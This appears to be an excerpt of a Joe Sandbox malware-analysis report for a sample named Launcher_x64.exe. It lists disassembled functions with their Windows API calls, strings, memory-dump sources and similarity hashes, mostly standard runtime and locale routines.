Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID: ExceptionRaise$FeaturePresentProcessor__alloca_probe_16
String ID: csm
API String ID: 1924019822-1018135373
Opcode ID: 432f64a3b700b3dd4e3842db495c8ff75ac6d962bfe820aa276ab8455ebad763
Instruction ID: 4927b0276cdcd7d6933414976c06b86d90ca4274e2d159efdb06552996297a3a
Opcode Fuzzy Hash: 432f64a3b700b3dd4e3842db495c8ff75ac6d962bfe820aa276ab8455ebad763
Instruction Fuzzy Hash: FA213A32D00318BBCF24DF95E9459EEB7B9EF08710F580419E519AB650DA30AEC5CBB1

Analysis Process: Launcher_x64.exePID: 4420, Parent PID: 2640COMMON

Non-executed Functions

Function 00D28B44 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,00D28515,00000002,00000000,?,?,?,00D28515,?,00000000), ref: 00D28BDD
GetLocaleInfoW.KERNEL32(?,20001004,00D28515,00000002,00000000,?,?,?,00D28515,?,00000000), ref: 00D28C06
GetACP.KERNEL32(?,?,00D28515,?,00000000), ref: 00D28C1B

Strings

OCP, xrefs: 00D28B98
ACP, xrefs: 00D28B62

Memory Dump Source

Source File: 00000002.00000002.1729424893.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.1729401188.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729459773.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729487928.0000000000D3F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729503001.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729520518.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729559061.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_Launcher_x64.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: e57decdd37a52e6218d956aa21e20c76ba66e0e136436aeee860d309e6587f8a
Instruction ID: 16eda18aced5fe7286a0310bb74890f4cfac05d7844bb2afde14c5d01666f21f
Opcode Fuzzy Hash: e57decdd37a52e6218d956aa21e20c76ba66e0e136436aeee860d309e6587f8a
Instruction Fuzzy Hash: 6421CD62702120AADB348F54F941A97B3A7EF74B68B5E8429E549D7200EF31DD40F770

Function 00D283DF Relevance: 7.7, APIs: 5, Instructions: 182COMMON

Download Yara Rule

APIs

Part of subcall function 00D23413: GetLastError.KERNEL32(00000000,?,00D25749), ref: 00D23417
Part of subcall function 00D23413: SetLastError.KERNEL32(00000000,?,?,00000028,00D1F7C9), ref: 00D234B9

GetUserDefaultLCID.KERNEL32(-00000002,00000000,?,00000055,?), ref: 00D284E7
IsValidCodePage.KERNEL32(00000000), ref: 00D28525
IsValidLocale.KERNEL32(?,00000001), ref: 00D28538
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00D28580
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00D2859B

Memory Dump Source

Source File: 00000002.00000002.1729424893.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.1729401188.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729459773.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729487928.0000000000D3F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729503001.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729520518.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729559061.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_Launcher_x64.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: d85e14ccc02a1d04b3671f13216dcf2599b42aeb8d0d96dfc3b3ef886d002ae0
Instruction ID: b73c5bf5b4ac5ed6c15cc3fada67feb6a38e569b31b43dc761ded1df80da9332
Opcode Fuzzy Hash: d85e14ccc02a1d04b3671f13216dcf2599b42aeb8d0d96dfc3b3ef886d002ae0
Instruction Fuzzy Hash: 70518371901226AFDB20EFA4EC41ABE77B9FF64708F084469E910E7150DB74DA41DB71

Function 00D21250 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1729424893.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.1729401188.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729459773.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729487928.0000000000D3F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729503001.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729520518.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729559061.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_Launcher_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e210328f8d4f359fac80214519e11883391db29b0651a67b32ed7d6b3dc8e133
Instruction ID: 93956f05759d0228050c6224d6f0c7fefcf0d186ad30724eb730d88210f7296c
Opcode Fuzzy Hash: e210328f8d4f359fac80214519e11883391db29b0651a67b32ed7d6b3dc8e133
Instruction Fuzzy Hash: 75022E75E012299FDF14CFA9D8806ADBBF1FF68318F288269D515E7341D731A941CBA0

Function 00D29126 Relevance: 6.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00D29216

Memory Dump Source

Source File: 00000002.00000002.1729424893.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.1729401188.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729459773.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729487928.0000000000D3F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729503001.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729520518.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729559061.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_Launcher_x64.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 6321883f8ca6365d62f3f81bb7a087317c05e5b91a8cd923acc66427573220da
Instruction ID: aea15b9ec05a7b294cce697f436078a6410a41b13d02d052810a386d72cbe51e
Opcode Fuzzy Hash: 6321883f8ca6365d62f3f81bb7a087317c05e5b91a8cd923acc66427573220da
Instruction Fuzzy Hash: 9D71E671804279AFDF21EF24AC99AEAF7B9EF15308F1841D9E04D93251DA304E858F34

Function 00D16528 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 00D16534
IsDebuggerPresent.KERNEL32 ref: 00D16600
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00D16619
UnhandledExceptionFilter.KERNEL32(?), ref: 00D16623

Memory Dump Source

Source File: 00000002.00000002.1729424893.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.1729401188.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729459773.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729487928.0000000000D3F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729503001.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729520518.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729559061.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_Launcher_x64.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 6d004db1e1d530777ec3803eb55d07cc919aa30f5de151e9104138384e85f543
Instruction ID: 76953300afc11c3ee55e77bd50c8f9b1db3081ab984a1f2dfd0fa11dce8a27b9
Opcode Fuzzy Hash: 6d004db1e1d530777ec3803eb55d07cc919aa30f5de151e9104138384e85f543
Instruction Fuzzy Hash: AC31F675D05318ABDB20DFA4E9497CDBBB8BF08304F1041EAE40CAB250EB709A85CF65

Function 00D31F22 Relevance: 12.2, APIs: 8, Instructions: 248COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00000000,00000000,00000000,7FFFFFFF,?,00D31F0D,00000000,00000000,00000000,00000000,?,?,?,?,00000000,00000000), ref: 00D31FC8
__alloca_probe_16.LIBCMT ref: 00D32083
__alloca_probe_16.LIBCMT ref: 00D32112
__freea.LIBCMT ref: 00D3215D
__freea.LIBCMT ref: 00D32163
__freea.LIBCMT ref: 00D32199
__freea.LIBCMT ref: 00D3219F
__freea.LIBCMT ref: 00D321AF

Memory Dump Source

Source File: 00000002.00000002.1729424893.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.1729401188.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729459773.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729487928.0000000000D3F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729503001.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729520518.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729559061.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_Launcher_x64.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 240c4e85371a9d665bf72230af401ccc9cb89dd968403ce96ef8b1977119fb30
Instruction ID: c0d97c1af6f38bf4fe7d2ef02e22764569d7bbfc72b08921a31e10bcbbacc75b
Opcode Fuzzy Hash: 240c4e85371a9d665bf72230af401ccc9cb89dd968403ce96ef8b1977119fb30
Instruction Fuzzy Hash: C771D072E00309ABDF259A948D42BBF7BBAEF55310F2C4019EA44A7281DB75DC44C7B0

Function 00D16A69 Relevance: 12.2, APIs: 8, Instructions: 177COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?), ref: 00D16AB0
__alloca_probe_16.LIBCMT ref: 00D16ADC
MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?,00000000,00000000), ref: 00D16B1B
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00D16B38
LCMapStringEx.KERNEL32(?,?,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00D16B77
__alloca_probe_16.LIBCMT ref: 00D16B94
LCMapStringEx.KERNEL32(?,?,00000000,00000001,00000000,00000000,00000000,00000000,00000000), ref: 00D16BD6
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00D16BF9

Memory Dump Source

Source File: 00000002.00000002.1729424893.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.1729401188.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729459773.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729487928.0000000000D3F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729503001.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729520518.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729559061.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_Launcher_x64.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: b2806f2c04466e296f1c9ed7b428307fa531ff5e478aa03248aac30c30efc4ef
Instruction ID: 9089ab254ef06a33ee206fd136aa99a1709e548ff1c5927491d4f9221feaf509
Opcode Fuzzy Hash: b2806f2c04466e296f1c9ed7b428307fa531ff5e478aa03248aac30c30efc4ef
Instruction Fuzzy Hash: 76517EB260020ABBEB205F90EC45FEB7FAAEF44754F194428F955E6190DB74DC908BB0

Function 00D26032 Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00D260B8

Memory Dump Source

Source File: 00000002.00000002.1729424893.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.1729401188.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729459773.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729487928.0000000000D3F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729503001.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729520518.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729559061.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_Launcher_x64.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: c3ed0d376608a570b3b521b077c8efc077dfbec983f27d761b9b7f2e2db3b283
Instruction ID: 65ebb62169b0d1470ed381ec3e6d5d8fc2896633500cbe8e1eb3ccf3e30ec3b5
Opcode Fuzzy Hash: c3ed0d376608a570b3b521b077c8efc077dfbec983f27d761b9b7f2e2db3b283
Instruction Fuzzy Hash: B9B15972A00375DFDB12CF68EC81BAE7FA5EF65318F284155E944AB282D274E901C7B4

Function 00D17940 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 130COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00D17977
___except_validate_context_record.LIBVCRUNTIME ref: 00D1797F
_ValidateLocalCookies.LIBCMT ref: 00D17A08
__IsNonwritableInCurrentImage.LIBCMT ref: 00D17A33
_ValidateLocalCookies.LIBCMT ref: 00D17A88

Strings

csm, xrefs: 00D17A1D

Memory Dump Source

Source File: 00000002.00000002.1729424893.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.1729401188.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729459773.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729487928.0000000000D3F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729503001.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729520518.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729559061.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_Launcher_x64.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 71568003e4e51a1dd5a26318f109360a913ae8bb0b8c2c17d129ee6b53c3ce2b
Instruction ID: dafaad03d73ca9af5bbd0b93b0f7913fd6c3df624b2423d65a8dabfb07e0cdde
Opcode Fuzzy Hash: 71568003e4e51a1dd5a26318f109360a913ae8bb0b8c2c17d129ee6b53c3ce2b
Instruction Fuzzy Hash: 1F41E434A04218ABCF11DF68E885ADE7BB5EF45324F188055E8199B362CB319E95CFB0

Function 00D240F9 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,?,?,BB40E64E,?,00D24208,00D03E32,?,00000000,?), ref: 00D241BA

Strings

api-ms-, xrefs: 00D24150
ext-ms-, xrefs: 00D24164

Memory Dump Source

Source File: 00000002.00000002.1729424893.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.1729401188.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729459773.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729487928.0000000000D3F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729503001.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729520518.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729559061.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_Launcher_x64.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: e1b2a30326aca85056b474640c2694a1a7fb7e4afb5108da6d0e2efb620827e9
Instruction ID: 085cc1d4ec07c4ecb6de441a293fa9104b3fba6893152b87d4fd31ec95b4c2e9
Opcode Fuzzy Hash: e1b2a30326aca85056b474640c2694a1a7fb7e4afb5108da6d0e2efb620827e9
Instruction Fuzzy Hash: 9721D235A01331ABD7229B65FC45A5A375ADF717A8F290220FD15E7390E630EE60CAB0

Function 00D16CBB Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00D16CC1
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 00D16CCF
GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 00D16CE0

Strings

kernel32.dll, xrefs: 00D16CBC
GetSystemTimePreciseAsFileTime, xrefs: 00D16CC9
GetTempPath2W, xrefs: 00D16CD5

Memory Dump Source

Source File: 00000002.00000002.1729424893.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.1729401188.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729459773.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729487928.0000000000D3F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729503001.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729520518.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729559061.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_Launcher_x64.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
API String ID: 667068680-1047828073
Opcode ID: ce9f8459bd8c5007804482157522f1dcf2f4176c8c87f6823be2acd2fb4f4b14
Instruction ID: e074455a983fb0cb76c8cee27ac77675357b8b714d60a76fa3e4ed5c5b367de7
Opcode Fuzzy Hash: ce9f8459bd8c5007804482157522f1dcf2f4176c8c87f6823be2acd2fb4f4b14
Instruction Fuzzy Hash: A8D0C77E6953205F83105FB57C0DC553EA5EB057117060466F845D3350D6B418558FB2

Function 00D2C0BA Relevance: 9.3, APIs: 6, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1729424893.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.1729401188.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729459773.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729487928.0000000000D3F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729503001.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729520518.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729559061.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_Launcher_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3bcefb32fa0f90019a5f1b4e91887614bb0b7ea968d2a634385c50a3acde6b2
Instruction ID: 265f53bda9a63c6fb997e1fdde1c68571ed5ce20514bcffd4074831ae4e3f712
Opcode Fuzzy Hash: a3bcefb32fa0f90019a5f1b4e91887614bb0b7ea968d2a634385c50a3acde6b2
Instruction Fuzzy Hash: E6B1F270A14369AFDB11DF98E841BBD7BB1BF6A308F185158E80197392C770AD42CB75

Function 00D21FAE Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00D21FA5,00D17361,00D16681), ref: 00D21FBC
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00D21FCA
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00D21FE3
SetLastError.KERNEL32(00000000,00D21FA5,00D17361,00D16681), ref: 00D22035

Memory Dump Source

Source File: 00000002.00000002.1729424893.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.1729401188.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729459773.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729487928.0000000000D3F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729503001.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729520518.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729559061.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_Launcher_x64.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: ed49ea4d891cc915d607d0cbdecba202cac6a773dbb729e1c6627eedceded169
Instruction ID: 9172175d43b620fb54452a59cb75eadc4942d9008b64405bed5804baea7c9068
Opcode Fuzzy Hash: ed49ea4d891cc915d607d0cbdecba202cac6a773dbb729e1c6627eedceded169
Instruction Fuzzy Hash: C201B93A2063317EF6252F75BD459363A55DB7577C7340229F630891E2EFA24D01E970

Function 00D22826 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 301COMMON

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00D22945
CallUnexpected.LIBVCRUNTIME ref: 00D22BBE

Strings

csm, xrefs: 00D22863
csm, xrefs: 00D228D0
csm, xrefs: 00D2297C

Memory Dump Source

Source File: 00000002.00000002.1729424893.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.1729401188.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729459773.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729487928.0000000000D3F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729503001.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729520518.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729559061.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_Launcher_x64.jbxd

Similarity

API ID: CallUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 2673424686-393685449
Opcode ID: ded4d7c9d5786f7a7a8b3e7d90eb16cac952cb772b27c3731f63af38aff9fff2
Instruction ID: 099f1a983bead430db8d892cac098312dab5aeb4eee53b7df2bc5f6ba609434e
Opcode Fuzzy Hash: ded4d7c9d5786f7a7a8b3e7d90eb16cac952cb772b27c3731f63af38aff9fff2
Instruction Fuzzy Hash: CEB16831800229AFCF25DFA4E8819BEB7B5FF68318F58415AF8116B216C735DA51CBB1

Function 00D1CA3C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,BB40E64E,?,?,00000000,00D33374,000000FF,?,00D1CAFD,00D1C9E4,?,00D1CB99,00000000), ref: 00D1CA71
GetProcAddress.KERNEL32(00000000,CorExitProcess,?,?,00000000,00D33374,000000FF,?,00D1CAFD,00D1C9E4,?,00D1CB99,00000000), ref: 00D1CA83
FreeLibrary.KERNEL32(00000000,?,?,00000000,00D33374,000000FF,?,00D1CAFD,00D1C9E4,?,00D1CB99,00000000), ref: 00D1CAA5

Strings

mscoree.dll, xrefs: 00D1CA6A
CorExitProcess, xrefs: 00D1CA7B

Memory Dump Source

Source File: 00000002.00000002.1729424893.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.1729401188.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729459773.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729487928.0000000000D3F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729503001.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729520518.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729559061.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_Launcher_x64.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 2ec70da9652abb6bdd633b8c01381a857fefd2f6d2565286116293291a31fba1
Instruction ID: e5d7c1af655b16d56e28a94e1cb4a9addef38e0bc111745f8a6133cc937802e8
Opcode Fuzzy Hash: 2ec70da9652abb6bdd633b8c01381a857fefd2f6d2565286116293291a31fba1
Instruction Fuzzy Hash: 07016735654719AFDB11DF54EC09BAEBBB9FF04714F044525E815E2290DB74A900CE70

Function 00D248CD Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00D24952
__alloca_probe_16.LIBCMT ref: 00D24A1B
__freea.LIBCMT ref: 00D24A82

Part of subcall function 00D231C1: HeapAlloc.KERNEL32(00000000,?,?,?,00D122A9,?,?,00D03E32,00001000,?,00D03D7A), ref: 00D231F3

__freea.LIBCMT ref: 00D24A95
__freea.LIBCMT ref: 00D24AA2

Memory Dump Source

Source File: 00000002.00000002.1729424893.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.1729401188.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729459773.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729487928.0000000000D3F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729503001.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729520518.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729559061.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_Launcher_x64.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: 8ea5535b607ae4ce42591fa7d74c569b40dff02ef0d70064d1e17c2a100187b1
Instruction ID: 522ea74b8b8b92e257baff6af0a9a0c4aa5246b3de6ef5b88db5fe28b39ccf13
Opcode Fuzzy Hash: 8ea5535b607ae4ce42591fa7d74c569b40dff02ef0d70064d1e17c2a100187b1
